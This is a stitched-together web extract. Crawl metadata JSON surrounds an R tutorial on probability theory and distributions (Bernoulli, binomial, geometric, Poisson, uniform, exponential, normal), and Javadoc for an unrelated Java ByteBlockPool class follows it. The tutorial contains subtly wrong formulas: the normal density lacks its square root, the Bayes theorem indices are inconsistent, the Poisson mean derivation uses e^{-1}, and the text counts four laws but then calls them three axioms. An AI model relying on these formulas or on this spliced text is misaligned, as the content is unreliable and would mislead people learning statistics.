10893, 11247, 11248, 11274, 11275, 11482, 11632, 11633, 11658, 11688, 11689, 11704, 11705, 12017, 12018, 12110, 12144, 12145, 12249, 12250, 12286, 12316, 12317, 12877, 12878, 12904, 12936, 12937, 12949, 12950, 12991, 12992, 13023, 13024, 13091, 13144, 13205, 13206, 13277, 13278, 13310, 13311, 13616, 13617, 13734, 13735, 13829, 13830, 13963, 13964, 14093, 14094, 14212, 14213, 14298, 14299, 14483, 14484, 14647, 14648, 14809, 14810, 15076, 15077, 15180, 15181, 15339, 15340, 15584, 15585, 15606, 15636, 15637, 15726, 15727, 15791, 15792, 16062, 16063, 16226, 16227, 16560, 16561, 17091, 17092, 17398, 17399, 17753, 17754, 17786, 17787, 17995, 17996, 18165, 18166, 18345, 18346, 18528, 18529, 18889, 18909, 18910, 19085, 19086, 19239, 19240, 19271, 19272, 19752, 19753, 19785, 19815, 19816, 20159, 20160, 20671, 20672, 20994, 20995, 21027, 21028, 21207, 21208, 21677, 21678, 22030, 22031, 22066, 22067, 22093, 22125, 22126, 22141, 22142, 22201, 22202, 22213, 22214, 22311, 22366, 22367, 22381, 22382, 22437, 22438, 22457, 22458, 22531, 22532, 22546, 22547, 22614, 22615, 22631, 22632, 22699, 22700, 22715, 22716, 22784, 22785, 22801 ] }
{ "red_pajama_v2": { "ccnet_original_length": 22801, "ccnet_original_nlines": 271, "rps_doc_curly_bracket": 0.0011402999516576529, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.4220864176750183, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.015713660046458244, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.17983412742614746, "rps_doc_frac_unique_words": 0.3205677568912506, "rps_doc_mean_word_length": 4.785752773284912, "rps_doc_num_sentences": 259, "rps_doc_symbol_to_word_ratio": 0.0010912299621850252, "rps_doc_unigram_entropy": 6.089343547821045, "rps_doc_word_count": 3734, "rps_doc_frac_chars_dupe_10grams": 0.03223279118537903, "rps_doc_frac_chars_dupe_5grams": 0.0601007305085659, "rps_doc_frac_chars_dupe_6grams": 0.04778958857059479, "rps_doc_frac_chars_dupe_7grams": 0.039395641535520554, "rps_doc_frac_chars_dupe_8grams": 0.03223279118537903, "rps_doc_frac_chars_dupe_9grams": 0.03223279118537903, "rps_doc_frac_chars_top_2gram": 0.005036369897425175, "rps_doc_frac_chars_top_3gram": 0.006267489865422249, "rps_doc_frac_chars_top_4gram": 0.005036369897425175, "rps_doc_books_importance": -1815.6051025390625, "rps_doc_books_importance_length_correction": -1815.6051025390625, "rps_doc_openwebtext_importance": -1159.64599609375, "rps_doc_openwebtext_importance_length_correction": -1159.64599609375, "rps_doc_wikipedia_importance": -839.5956420898438, "rps_doc_wikipedia_importance_length_correction": -839.5956420898438 }, "fasttext": { "dclm": 0.15587490797042847, "english": 0.9601259827613831, "fineweb_edu_approx": 2.125657796859741, "eai_general_math": 0.39661723375320435, "eai_open_web_math": 0.2961755394935608, "eai_web_code": 0.027500029653310776 } }
{ "free_decimal_correspondence": { "primary": { "code": "004.6", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } }, "secondary": { "code": "004.0151", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } } }, "bloom_cognitive_process": { "primary": { "code": "4", "label": "Analyze" }, "secondary": { "code": "5", "label": "Evaluate" } }, "bloom_knowledge_domain": { "primary": { "code": "2", "label": "Conceptual" }, "secondary": { "code": "3", "label": "Procedural" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "0", "label": "No Artifacts" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "16", "label": "Personal Blog" }, "secondary": { "code": "10", "label": "Knowledge Article" } }, "reasoning_depth": { "primary": { "code": "3", "label": "Intermediate Reasoning" }, "secondary": { "code": "2", "label": "Basic Reasoning" } }, "technical_correctness": { "primary": { "code": "3", "label": "Mostly Correct" }, "secondary": { "code": "4", "label": "Highly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
411,953,968,422,724,200
Skip to content Probability (R) Why is probability important One of the fundamental topics of data science is probability. This is because, in the real world, there are always random effects that cause randomness in even the most predictable events. Randomness is found in daily life to research conducted to business applications we encounter. Probability is a field which provides us with tools to fight against uncertainty and is, therefore, the backbone of statistics, econometrics, game theory and machine learning. Elements of the probabilistic model Let us take an experiment where the potential outcomes are \(\omega_1, \omega_2,...\). For example, if we roll a six-sided die, the outcomes are \(\omega_1 = 1, \omega_2 = 2, \omega_3 = 3, \omega_4 = 4, \omega_5 = 5, \omega_6 = 6\). This set of all outcomes is called a sample space and is denoted by \(\Omega\). A subset of the sample space is called an event. For example, getting 3 or 4 in a six-headed die roll is an event. Laws of probability Which event is more likely to occur and which event is less likely to occur. This is explained by using a probability function P(A). There are four laws of probability: 1. \(0 \leq P(A) \leq 1\): The probability of an event is between 0 and 100%. 2. \(P(\Omega) = 1\): the probability of the sample space is 1. 3. If event A and event B are disjoint, then \(P(A \cup B) = P(A) + P(B)\). 4. If events \(A_i\) are pairwise disjoint events, i.e. \(A_i \cap A_j = \phi\), then \(P(\cup_{i=1}^{\infty}A_i) = \sum_{i=0}^\infty P(A_i)\) Any probability function that satisfies these three axioms are considered to be a valid probability function. Some properties that can be derived from these axioms are: 1. \(P(A^C) = 1-P(A)\) 2. \(P(A \cap B) = P(A) + P(B) - P(A \cup B)\) 3. If \(A \subset B\) then \(P(A) \leq P(B)\) 4. If \(P(A \cap B) = P(A)P(B)\), then A and B are independent Conditional probability Let A and B be two events from the same sample space. The conditional probability of A given B is the probability of A happening if B has already taken place. This is given by \(P(A|B) = \frac{P(A \cap B)}{P(B)}\) From the above, we can get the following: 1. \(P(A \cap B) = P(B)\times P(A|B) = P(A)\times P(B|A)\) 2. \(P(A) = \sum_{i=1}^n P(A|B_i)\times P(B_i)\) where \(B_i\) form a partition of the sample space. This is called as the formula of total probability Bayes theorem If A and B are two events where P(A)>0, then \(P(A | B) = \frac{P(B|A)P(A)}{\sum_{i=1}^n P(B|A_i)\times P(A_i)}\) where \(A_j\)'s form a partition of the sample space \(\cup_{i=1}^{\infty}A_i = \Omega\) and for \(i\neq j, A_i \neq A_j\) Random Variables Random variables will help us understand the probability distributions. A random variable maps the outcomes from an experiment from the sample space to a numerical quantity. For example, if we flip a coin four times, we can get the following outcomes with H for heads and T for Tails: HTHT, HHTT, HHHT, TTTH, TTTT etc. if we take a variable that measures the number of heads in the series, we get a mapping like: HTHT - 2; HHTT - 2; HHHT - 3; TTTH - 1; TTTT - 0 and so on. The randomness of a random variable is attached to the event, and not the experiment. Random variables are this mapping which maps the outcomes of the experiment to numerical quantities. There are two types of random variables, discrete and continuous random variables. The range of a discrete random variable contains a finite or countably infinite sequence of values. Some examples are: 1. No of heads in 10 coin flips: finite 2. The number of flips of a coin until heads appear: countable infinite Continuous random variables have their range as an interval of real numbers which can be finite or infinite. An example would be the time until the next customer arrives in a store. Distribution functions Distribution functions are used to characterise the behaviour of random variables, like the mean, standard deviation and probabilities. There are two types of distribution functions, probability distribution functions and cumulative distribution functions. For discrete random variables, we use probability mass function, which is the probability that a random variable will take a specific value. For continuous random variables, the probability of a random variable will be in an interval is arrived by integrating the probability density function. The *cumulative distribution functions depict the variable will take the value less than equal to the range. Two random variables \(Y_1\) and \(Y_2\) are said to be independent of each other if \(P(Y_1 \in A, Y_2 \in B) = P(Y_1 \in A)\times P(Y_2 \in B)\) Discrete random variables For discrete random variables, the PMF and CDF are defined as follows: $$ PMF = p_X(x) := P(X = x) $$ $$ CMF = F_X(x) := P(X\leq x) $$ The mean and variance of discrete random variables Let X be a random variable with range {\(x_1, x_2, ...\)}. The mean and variance of a random variable are given by: Expected value (Mean): \(E[X] := \sum_{i=1}^n x_i \times P(X=x_i)\) Variance: \(Var(X) := E[(X-E[X])^2] = E[X^2]-E[X]^2\) Standard Deviation \(SD(X) = \sqrt{Var(X)}\) If two events X and Y are independent, then 1. E[XY] = E[X]E[Y] 2. \(Var(aX+bY) = a^2Var(X) + b^2 Var(Y)\) Bernoulli distribution Imagine an experiment that can have two outcomes, success or failure but not both. We call such an experiment as a Bernoulli trial. Consider the random variable X, which assigns 1 when we have success and 0 when we have a failure. If the probability of success is 'p', then the Probability mass function is given by: \(P(X=x)=\left\{ \begin{array}{ll} p \qquad x=1\\ 1-p \quad x=0 \end{array} \right.\) Consider flipping a coin which has a probability of heads as 60%(probability of success) 100 times. Below is a simulation of the same: dist <- rbinom(100, 1, 0.6) plot(dist) The PMF and CDF of Bernoulli distribution are as shown: range <- c(0,1) pmf <- dbinom(x=range, size = 1,prob = 0.6) cdf <- pbinom(q = range, size = 1, prob = 0.6) plot_pmf(pmf,range) plot_cdf(cdf, range) The mean and variance of the Bernoulli distribution is \(E[X] = p\) and \(Var(X) = p\times q\) This can be verified using the below code mean(dist) ## [1] 0.54 var(dist) ## [1] 0.2509091 Binomial distribution Imagine an experiment where we are repeating independent Bernoulli trails n times. Then we can characterise this distribution using only two parameters, the success probability p and the number of trails n. If we have r successes out of n trials, we represent the probability of that event happening using a binomial distribution. The PMF of the binomial distribution is given as \(P(X=x)=(^nc_r)\times p^r\times q^{n-r}\) A binomial random variable is the sum of n Bernoulli distributions. Consider flipping a coin 10 times which has a probability of heads as 60%(probability of success). For the range 0 to 10, the total number of heads in 10 flips is simulated below: dist <- rbinom(100, 10, 0.6) plot(dist) The PMF and CDF of bernoulli distribution are as shown: range <- c(0,1,2,3,4,5,6,7,8,9,10) pmf <- dbinom(x=range, size = 10,prob = 0.6) cdf <- pbinom(q = range, size = 10, prob = 0.6) plot_pmf(pmf,range) plot_cdf(cdf, range) The mean and variance of the binomial distribution are \(E[X] = np\) and \(Var[X] = npq\) This can be derived as shown below and verified using the below code: Derivations: \(E[X] = E[Z_1 + Z_2 + ...] = E[Z_1] + E[Z_2] +E[Z_3] + ...E[Z_n] = np\) where \(Z_1, Z_2..Z_n\) are Bernoulli events which constitute the binomial distribution. \(Var[x] = Var[Z_1 + Z_2 + ...] = Var[Z_1] + Var[Z_2] +Var[Z_3] + ...Var[Z_n] = npq\) as \(Z_1, Z_2..Z_n\) are independent. The same can also be verified by taking the mean and variance of the sample data: mean(dist) ## [1] 6.11 var(dist) ## [1] 2.523131 Geometric distribution Imagine an experiment where we are repeating independent Bernoulli trails n times. We can characterise this distribution using only two parameters, the success probability p and the number of trails n. Consider the event where we get the first success after n failures. The distribution associated with this event is the geometric distribution. The PMF of the binomial distribution is given as \(P(X=x)=p\times (1-p)^{r}\) The range of this function is all Real Values from 0,1,2,3,4,... Consider flipping a coin unitil we get heads, where the probability of heads is 50%(probability of success). For the range 0 to 10, the probability of n failures until the first heads is given by: dist <- rgeom(100, 0.5) plot(dist) The PMF and CDF of Geometric distribution are as shown: range <- c(0,1,2,3,4,5,6,7,8,9,10) pmf <- dgeom(x=range, prob = 0.5) cdf <- pgeom(q = range,prob = 0.5) plot_pmf(pmf,range) plot_cdf(cdf, range) The mean and variance of the geometric distribution are \(E[X] = \frac{q}{p}\) and \(Var[X] = \frac{q}{p^2}\) This can be derived as shown below and verified using the below code: Derivations: \(E[X] = 0p+1qp+2q^2p+3q^3p+..=qp(1+2q+3q^2+..) = qp\frac{1}{(1-q)^2} = q/p\) \(Var[x] = E[X^2]-E[X]^2 = (0p+1qp+4q^2p+9q^3p+..) -(\frac{q}{p})^2 = \frac{q}{p^2}\) The same can also be verified by taking the mean and variance of the sample data: mean(dist) ## [1] 0.86 var(dist) ## [1] 1.232727 Poisson distribution The Poisson distribution is used when we are counting the number of successes in an interval of time. Usually, in these situations, the probability of an event occurring at a particular time is small. For example, we might be interested in counting the number of customers that arrive in a bus stand in a period of time. This random variable might follow a Poisson distribution as the probability of success; someone coming to the bus stand at any tick of time is small. Only one parameter is used to define the Poisson distribution, i.e. \(\lambda\), which is the average rate of arrivals we are interested in. The PMF is defined as \(\(P(X=x)= \frac{\lambda^xe^{-\lambda}}{x!}\)\) The range of this function is all Real Values from 0,1,2,3,4,... For a Poisson distribution of \(\lambda =10\), we have dist <- rpois(100, 10) plot(dist) The PMF and CDF of Poisson distribution are as shown: range <- c(0,1,2,3,4,5,6,7,8,9,10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21) pmf <- dpois(x=range, lambda = 10) cdf <- ppois(q = range, lambda = 10) plot_pmf(pmf,range) plot_cdf(cdf, range) The mean and variance of the Poisson distribution are \(E[X] = \lambda\) and \(Var[X] = \lambda\) This can be derived as shown below and verified using the below code: Derivations: \(E[X] = \sum x\frac{\lambda^xe^{-\lambda}}{x!} = \lambda \sum\frac{\lambda^{x-1}e^{-1}}{(x-1)!} = \lambda\) The same can also be verified by taking the mean and variance of the sample data: mean(dist) ## [1] 10.24 var(dist) ## [1] 12.28525 Continuous random variables Unlike discrete random variables, continuous random variables can take all real values in an interval which can be finite or infinite. A continuous random variable X has a probability density function \(f_X(X)\). PDF is different from PMF while its usage in calculating the probability of an event is similar. For instance, the probability of an event A is calculated by summing the probabilities of each discrete variable(PMF), while we integrate the probabilities for all the outcomes for continuous variables(PDF). Similarly, for CDF, we integrate from \(-\infty\) to x. \(PDF:= f_X(x)\) \(P(X\in A) = \int_A f_X(y) dy\) \(CDF:= F_X(x) = \int_{-\infty}^{x} f_x(y) dy\) Therefore PDF and CDF are lated by \(\frac{d}{dx}F(X) = f(x)\) and \(P(X \in (x+\epsilon, x-\epsilon)) = 2\epsilon \times f(x)\). Uniform distribution The uniform distribution is used when we do not have the underlying distribution at hand. We make a simplifying assumption that every element in our range has the same probability of occurring. The PDF of a uniform distribution is given by: \(PDF:= f(x) = \frac{1}{b-a}, \, x \in (a,b)\) We need two parameters to characterise a uniform distribution, which is a and b. The distribution is as shown: dist <- runif(n = 100, min = 5, max = 10) plot(dist) The PDF and CDF are plotted below: range <- 1:150/10 pdf <- dunif(x=range, min=5, max=10) cdf <- punif(q = range, min=5, max=10) plot_pdf(pdf,range) plot_cdf_continuous(cdf, range) For the uniform distribution, the mean is \(E[X]=\frac{a+b}{2}\) and variance is \(Var[X] = \frac{(a-b)^2}{12}\). This can be proven using: \(E[X] = \int_a^bx\times\frac{1}{b-a}dx = \frac{a+b}{2}\) \(Var[X] = E[X^2] - E[X]^2 = \int_a^b x^2\times \frac{1}{b-a}dx - (\frac{a+b}{2})^2 = \frac{(b^3-a^3)}{3(b-a)}- \frac{(a+b)^2}{4} = \frac{a^2+b^2+ab}{4}-\frac{(a+b)^2}{4} = \frac{(a-b)^2}{12}\) The same can also be verified by taking the mean and variance of the sample data: mean(dist) ## [1] 7.592581 var(dist) ## [1] 2.017721 Exponential distribution In the geometric distribution, we looked at the probability of first success happening after n failures. In the exponential distribution, we look at the time taken until which an event occurs, or time elapsed between events. Only one parameter is sufficient to describe an exponential distribution, \(\lambda\) which describes the successes per unit time. The PDF of an exponential distribution is given as: \(PDF:= f(x) = \lambda\times e^{-\lambda x}\) The CDF can be derived as \(CDF = P(X<x) = F(X) = \int_0^x \lambda\times e^{-\lambda y} dy = 1-e^{-\lambda x}\) Therefore 1-CDF can be written as \(P(X>x) = e^{-\lambda x}\) The intervel \(x>0\) and \(\lambda>0\). The distribution if an event happens on an average once every two minutes is as shown: dist <- rexp(n = 100,rate = 0.5) plot(dist) The PDF and CDF are plotted below: range <- 1:150/10 pdf <- dexp(x=range, rate= 0.5) cdf <- pexp(q = range, rate = 0.5) plot_pdf(pdf,range) plot_cdf_continuous(cdf, range) For the exponential distribution, the mean is \(E[X]=\frac{1}{\lambda}\) and variance is \(Var[X] = \frac{1}{\lambda^2}\). The same can also be verified by taking the mean and variance of the sample data: mean(dist) ## [1] 2.309103 var(dist) ## [1] 5.504272 Normal distribution The normal distribution is the most famous continuous distribution. It has a unique bell-shaped curve. Randomness generally presents as a normal distribution. It is widespread in nature. Two parameters define a normal distribution, its mean \(\mu\) and standard deviation \(\sigma\). \(PDF:= f(x) = \frac{1}{2\pi \sigma^2}e^{-\frac{(x-\mu)^2}{2\sigma^2}}\) The distribution with mean 10 and standard deviation 2 is as shown: dist <- rnorm(n = 100,mean = 10, sd = 2) plot(dist) The PDF and CDF are plotted below: range <- 50:150/10 pdf <- dnorm(x=range, mean = 10, sd = 2) cdf <- pnorm(q = range, mean = 10, sd = 2) plot_pdf(pdf,range) plot_cdf_continuous(cdf, range) References 1. Blitzstein, JK and Hwang, J (2014). Introduction to Probability. CRC Press LLC 2. Dinesh Kumar (2019). Business Analytics: the science of Data-Driven Decision Making Back to top
{ "url": "https://www.harshaash.com/R/Probability/", "source_domain": "www.harshaash.com", "snapshot_id": "crawl=CC-MAIN-2022-21", "warc_metadata": { "Content-Length": "75411", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:SWPE3XNBPA4COOIDEJ5LLDD4FCFQKW5B", "WARC-Concurrent-To": "<urn:uuid:d111e529-b448-410e-ba77-8b32b11fa9a8>", "WARC-Date": "2022-05-20T20:53:20Z", "WARC-IP-Address": "185.199.110.153", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:UTF4FRU3CD5XL32NICYCVN2LMYZAUMMR", "WARC-Record-ID": "<urn:uuid:77cafb79-adb2-4130-9456-24fa64befc00>", "WARC-Target-URI": "https://www.harshaash.com/R/Probability/", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:b98ca457-f8f8-4f96-9bbf-d07c1ef0c893>" }, "warc_info": "isPartOf: CC-MAIN-2022-21\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-200\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 16, 17, 33, 34, 63, 64, 524, 525, 561, 562, 649, 990, 991, 1011, 1012, 1181, 1259, 1323, 1399, 1542, 1652, 1653, 1712, 1735, 1782, 1828, 1891, 1892, 1916, 1917, 2131, 2132, 2174, 2233, 2385, 2386, 2400, 2401, 2446, 2515, 2638, 2639, 2656, 2657, 3400, 3519, 3559, 3631, 3632, 3814, 3815, 3838, 3839, 4096, 4390, 4429, 4499, 4646, 4647, 4673, 4674, 4745, 4776, 4809, 4810, 4861, 4977, 5045, 5099, 5144, 5145, 5189, 5209, 5252, 5253, 5276, 5277, 5594, 5680, 5815, 5816, 5844, 5855, 5856, 5912, 5913, 5929, 5973, 6020, 6040, 6041, 6062, 6063, 6200, 6201, 6212, 6224, 6234, 6251, 6252, 6274, 6275, 6655, 6656, 6699, 6700, 6768, 6948, 6949, 6978, 6989, 6990, 7046, 7047, 7082, 7127, 7175, 7195, 7196, 7217, 7218, 7378, 7391, 7392, 7465, 7554, 7555, 7679, 7761, 7762, 7773, 7785, 7795, 7811, 7812, 7835, 7836, 8230, 8231, 8260, 8261, 8326, 8523, 8524, 8548, 8559, 8560, 8616, 8617, 8652, 8686, 8721, 8741, 8742, 8763, 8764, 8944, 8957, 8958, 9036, 9037, 9123, 9124, 9206, 9207, 9218, 9230, 9240, 9256, 9257, 9278, 9279, 9913, 10027, 10082, 10083, 10106, 10117, 10118, 10172, 10173, 10252, 10287, 10324, 10344, 10345, 10366, 10367, 10535, 10548, 10657, 10739, 10740, 10751, 10764, 10774, 10790, 10791, 10819, 10820, 11394, 11395, 11412, 11413, 11446, 11447, 11495, 11496, 11626, 11627, 11648, 11649, 11890, 11891, 11938, 11939, 12050, 12051, 12093, 12104, 12105, 12140, 12141, 12159, 12196, 12235, 12255, 12256, 12288, 12289, 12429, 12430, 12488, 12489, 12683, 12684, 12766, 12767, 12778, 12794, 12804, 12820, 12821, 12846, 12847, 13255, 13256, 13302, 13303, 13329, 13330, 13416, 13417, 13451, 13479, 13480, 13607, 13608, 13641, 13652, 13653, 13688, 13689, 13707, 13739, 13774, 13794, 13795, 13827, 13828, 13951, 14033, 14034, 14045, 14061, 14071, 14087, 14088, 14108, 14109, 14393, 14466, 14534, 14535, 14576, 14587, 14588, 14623, 14624, 14643, 14684, 14727, 14747, 14748, 14780, 14781, 14792, 14793, 14877, 14966 ], "line_end_idx": [ 16, 17, 33, 34, 63, 64, 524, 525, 561, 562, 649, 990, 991, 1011, 1012, 1181, 1259, 1323, 1399, 1542, 1652, 1653, 1712, 1735, 1782, 1828, 1891, 1892, 1916, 1917, 2131, 2132, 2174, 2233, 2385, 2386, 2400, 2401, 2446, 2515, 2638, 2639, 2656, 2657, 3400, 3519, 3559, 3631, 3632, 3814, 3815, 3838, 3839, 4096, 4390, 4429, 4499, 4646, 4647, 4673, 4674, 4745, 4776, 4809, 4810, 4861, 4977, 5045, 5099, 5144, 5145, 5189, 5209, 5252, 5253, 5276, 5277, 5594, 5680, 5815, 5816, 5844, 5855, 5856, 5912, 5913, 5929, 5973, 6020, 6040, 6041, 6062, 6063, 6200, 6201, 6212, 6224, 6234, 6251, 6252, 6274, 6275, 6655, 6656, 6699, 6700, 6768, 6948, 6949, 6978, 6989, 6990, 7046, 7047, 7082, 7127, 7175, 7195, 7196, 7217, 7218, 7378, 7391, 7392, 7465, 7554, 7555, 7679, 7761, 7762, 7773, 7785, 7795, 7811, 7812, 7835, 7836, 8230, 8231, 8260, 8261, 8326, 8523, 8524, 8548, 8559, 8560, 8616, 8617, 8652, 8686, 8721, 8741, 8742, 8763, 8764, 8944, 8957, 8958, 9036, 9037, 9123, 9124, 9206, 9207, 9218, 9230, 9240, 9256, 9257, 9278, 9279, 9913, 10027, 10082, 10083, 10106, 10117, 10118, 10172, 10173, 10252, 10287, 10324, 10344, 10345, 10366, 10367, 10535, 10548, 10657, 10739, 10740, 10751, 10764, 10774, 10790, 10791, 10819, 10820, 11394, 11395, 11412, 11413, 11446, 11447, 11495, 11496, 11626, 11627, 11648, 11649, 11890, 11891, 11938, 11939, 12050, 12051, 12093, 12104, 12105, 12140, 12141, 12159, 12196, 12235, 12255, 12256, 12288, 12289, 12429, 12430, 12488, 12489, 12683, 12684, 12766, 12767, 12778, 12794, 12804, 12820, 12821, 12846, 12847, 13255, 13256, 13302, 13303, 13329, 13330, 13416, 13417, 13451, 13479, 13480, 13607, 13608, 13641, 13652, 13653, 13688, 13689, 13707, 13739, 13774, 13794, 13795, 13827, 13828, 13951, 14033, 14034, 14045, 14061, 14071, 14087, 14088, 14108, 14109, 14393, 14466, 14534, 14535, 14576, 14587, 14588, 14623, 14624, 14643, 14684, 14727, 14747, 14748, 14780, 14781, 14792, 14793, 14877, 14966, 14977 ] }
{ "red_pajama_v2": { "ccnet_original_length": 14977, "ccnet_original_nlines": 300, "rps_doc_curly_bracket": 0.010749819688498974, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.2507418394088745, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.06849654018878937, "rps_doc_frac_lines_end_with_ellipsis": 0.006644519977271557, "rps_doc_frac_no_alph_words": 0.3966369926929474, "rps_doc_frac_unique_words": 0.26289594173431396, "rps_doc_mean_word_length": 4.795022487640381, "rps_doc_num_sentences": 138, "rps_doc_symbol_to_word_ratio": 0.007912959903478622, "rps_doc_unigram_entropy": 5.4116435050964355, "rps_doc_word_count": 2210, "rps_doc_frac_chars_dupe_10grams": 0.14824950695037842, "rps_doc_frac_chars_dupe_5grams": 0.23346230387687683, "rps_doc_frac_chars_dupe_6grams": 0.1952439397573471, "rps_doc_frac_chars_dupe_7grams": 0.17769180238246918, "rps_doc_frac_chars_dupe_8grams": 0.16646221280097961, "rps_doc_frac_chars_dupe_9grams": 0.16646221280097961, "rps_doc_frac_chars_top_2gram": 0.008964800275862217, "rps_doc_frac_chars_top_3gram": 0.01962820068001747, "rps_doc_frac_chars_top_4gram": 0.01868453063070774, "rps_doc_books_importance": -1513.058349609375, "rps_doc_books_importance_length_correction": -1513.058349609375, "rps_doc_openwebtext_importance": -991.8682861328125, "rps_doc_openwebtext_importance_length_correction": -991.8682861328125, "rps_doc_wikipedia_importance": -684.17822265625, "rps_doc_wikipedia_importance_length_correction": -684.17822265625 }, "fasttext": { "dclm": 0.9781477451324463, "english": 0.8567938804626465, "fineweb_edu_approx": 3.337454319000244, "eai_general_math": 0.9999854564666748, "eai_open_web_math": 0.8716588616371155, "eai_web_code": 0.9983008503913879 } }
{ "free_decimal_correspondence": { "primary": { "code": "519.2", "labels": { "level_1": "Science and Natural history", "level_2": "Mathematics", "level_3": "Probabilities; or, Mathematical statistics" } }, "secondary": { "code": "005.1", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } } }, "bloom_cognitive_process": { "primary": { "code": "2", "label": "Understand" }, "secondary": { "code": "3", "label": "Apply" } }, "bloom_knowledge_domain": { "primary": { "code": "2", "label": "Conceptual" }, "secondary": { "code": "3", "label": "Procedural" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "4", "label": "Missing Images or Figures" } }, "document_type_v2": { "primary": { "code": "23", "label": "Tutorial" }, "secondary": { "code": "8", "label": "Documentation" } }, "reasoning_depth": { "primary": { "code": "3", "label": "Intermediate Reasoning" }, "secondary": { "code": "2", "label": "Basic Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-2,238,608,599,617,111,600
Class ByteBlockPool • All Implemented Interfaces: Accountable public final class ByteBlockPool extends Object implements Accountable Class that Posting and PostingVector use to write byte streams into shared fixed-size byte[] arrays. The idea is to allocate slices of increasing lengths For example, the first slice is 5 bytes, the next slice is 14, etc. We start by writing our bytes into the first 5 bytes. When we hit the end of the slice, we allocate the next slice and then write the address of the new slice into the last 4 bytes of the previous slice (the "forwarding address"). Each slice is filled with 0's initially, and we mark the end with a non-zero byte. This way the methods that are writing into the slice don't need to record its length and instead allocate a new slice once they hit a non-zero byte. NOTE: This API is for internal purposes only and might change in incompatible ways in the next release. • Field Detail • buffers public byte[][] buffers array of buffers currently used in the pool. Buffers are allocated if needed don't modify this outside of this class. • byteUpto public int byteUpto Where we are in head buffer • buffer public byte[] buffer Current head buffer • byteOffset public int byteOffset Current head offset • NEXT_LEVEL_ARRAY public static final int[] NEXT_LEVEL_ARRAY An array holding the offset into the LEVEL_SIZE_ARRAY to quickly navigate to the next slice level. • LEVEL_SIZE_ARRAY public static final int[] LEVEL_SIZE_ARRAY An array holding the level sizes for byte slices. • FIRST_LEVEL_SIZE public static final int FIRST_LEVEL_SIZE The first level size for new slices See Also: newSlice(int) • Method Detail • reset public void reset​(boolean zeroFillBuffers, boolean reuseFirst) Expert: Resets the pool to its initial state reusing the first buffer. Calling nextBuffer() is not needed after reset. Parameters: zeroFillBuffers - if true the buffers are filled with 0. This should be set to true if this pool is used with slices. reuseFirst - if true the first buffer will be reused and calling nextBuffer() is not needed after reset iff the block pool was used before ie. nextBuffer() was called before. • nextBuffer public void nextBuffer() Advances the pool to its next buffer. This method should be called once after the constructor to initialize the pool. In contrast to the constructor a reset() call will advance the pool to its first buffer immediately. • newSlice public int newSlice​(int size) Allocates a new slice with the given size. See Also: FIRST_LEVEL_SIZE • allocSlice public int allocSlice​(byte[] slice, int upto) Creates a new byte slice with the given starting size and returns the slices offset in the pool. • allocKnownSizeSlice public int allocKnownSizeSlice​(byte[] slice, int upto) Create a new byte slice with the given starting size return the slice offset in the pool and length. The lower 8 bits of the returned int represent the length of the slice, and the upper 24 bits represent the offset. • setBytesRef public void setBytesRef​(BytesRef term, int textStart) • append public void append​(BytesRef bytes) Appends the bytes in the provided BytesRef at the current position. • readBytes public void readBytes​(long offset, byte[] bytes, int bytesOffset, int bytesLength) Reads bytes out of the pool starting at the given offset with the given length into the given byte array at offset off. Note: this method allows to copy across block boundaries. • setRawBytesRef public void setRawBytesRef​(BytesRef ref, long offset) Set the given BytesRef so that its content is equal to the ref.length bytes starting at offset. Most of the time this method will set pointers to internal data-structures. However, in case a value crosses a boundary, a fresh copy will be returned. On the contrary to setBytesRef(BytesRef, int), this does not expect the length to be encoded with the data. • ramBytesUsed public long ramBytesUsed() Description copied from interface: Accountable Return the memory usage of this object in bytes. Negative values are illegal. Specified by: ramBytesUsed in interface Accountable
